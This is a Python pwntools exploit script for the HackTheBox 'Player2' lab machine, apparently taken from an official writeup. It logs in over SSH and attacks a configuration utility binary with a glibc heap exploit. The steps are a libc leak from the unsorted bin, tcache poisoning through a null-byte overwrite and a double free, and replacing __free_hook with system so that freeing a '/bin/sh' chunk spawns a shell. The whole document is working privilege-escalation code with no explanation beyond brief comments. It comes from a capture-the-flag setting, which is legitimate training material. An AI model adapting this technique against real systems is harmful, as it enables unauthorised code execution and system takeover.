#!/usr/bin/python3

#
#  From the official HTB writeup by MinatoTW
# 
#  
#


from pwn import *
gdbscript = '''
stub sleep
c
'''
s = ssh(host='10.10.10.170', user='observer', keyfile='observer.key')
p = s.process("/opt/Configuration_Utility/Protobs")
# Uncomment below for local debugging
# gdb.attach(p, gdbscript)
# p = process("/opt/Configuration_Utility/Protobs")
def create(size, description, name='test', contrast='1', gamma='2', x_axis='3',
           y_axis='4', controller='6'):
    log.info("Creating configuration")
    p.sendlineafter("protobs@player2:~$ ", "2")
    p.sendlineafter(" [ Game                ]: ", name)
    p.sendlineafter(" [ Contrast            ]: ", contrast)
    p.sendlineafter(" [ Gamma               ]: ", gamma)
    p.sendlineafter(" [ Resolution X-Axis   ]: ", x_axis)
    p.sendlineafter(" [ Resolution Y-Axis   ]: ", y_axis)
    p.sendlineafter(" [ Controller          ]: ", controller)

    if size > 0:
        p.sendlineafter(" [ Size of Description ]: ", str(size))
        p.sendlineafter(" [ Description         ]: ", description)
    else:
        p.sendlineafter(" [ Size of Description ]: ", str(size))

def read(index):
    log.info(f"Reading configuration at index: {index}")
    p.sendlineafter("protobs@player2:~$ ", "3")
    p.sendlineafter(" [ Config Index    ]: ", str(index))
    return '\n'.join(p.recvlinesS(8))

def delete(index):
    log.info(f"Deleting configuration at index: {index}")
    p.sendlineafter("protobs@player2:~$ ", "4")
    p.sendlineafter(" [ Config Index    ]: ", str(index))

def main():
    create(10, "test1234")
    create(1050, "test1234")
    create(10, "test1234")
    delete(0)
    delete(1)
    ## Leak main_arena address with unsorted bin
    create(0, "")
    leak = u64(read(0).rstrip()[-6:].ljust(8, '\x00'))
    libc_base = leak - 96 - 0x1e4c40
    log.success(f"Libc base address: {hex(libc_base)}")
    ## Two fake configs to use up existing free chunks
    create(1050, "test1234")
    create(10, "test1234")
    ## Setup two adjacent tcache chunks of sizes 0x20 and 0x170, then free them both
    create((0x40 - 8), "test1234")
    delete(4)
    create(10, "test1234")
    create(350, "test1234")
    delete(5)
    delete(4)
    ## Write null byte to last chunk and then free it for double fee
    create(24, "A" * 24)
    create(0, "")
    delete(5)
    libc = ELF("/opt/Configuration_Utility/libc.so.6", checksec=False)
    libc.address = libc_base
    free_hook = libc.symbols['__free_hook']
    ## Poison the fd pointer to get free_hook pointer, write system address there
    create((0x100 - 8), p64(free_hook))
    create((0x170 - 8), "test1234")
    system = libc.symbols['system']
    create((0x170 - 8), p64(system))
    ## Create chunk with '/bin/sh' and free it to trigger the hook
    create(10, '/bin/sh')
    delete(8)
    p.interactive(prompt='')

if __name__ == "__main__":
    main()
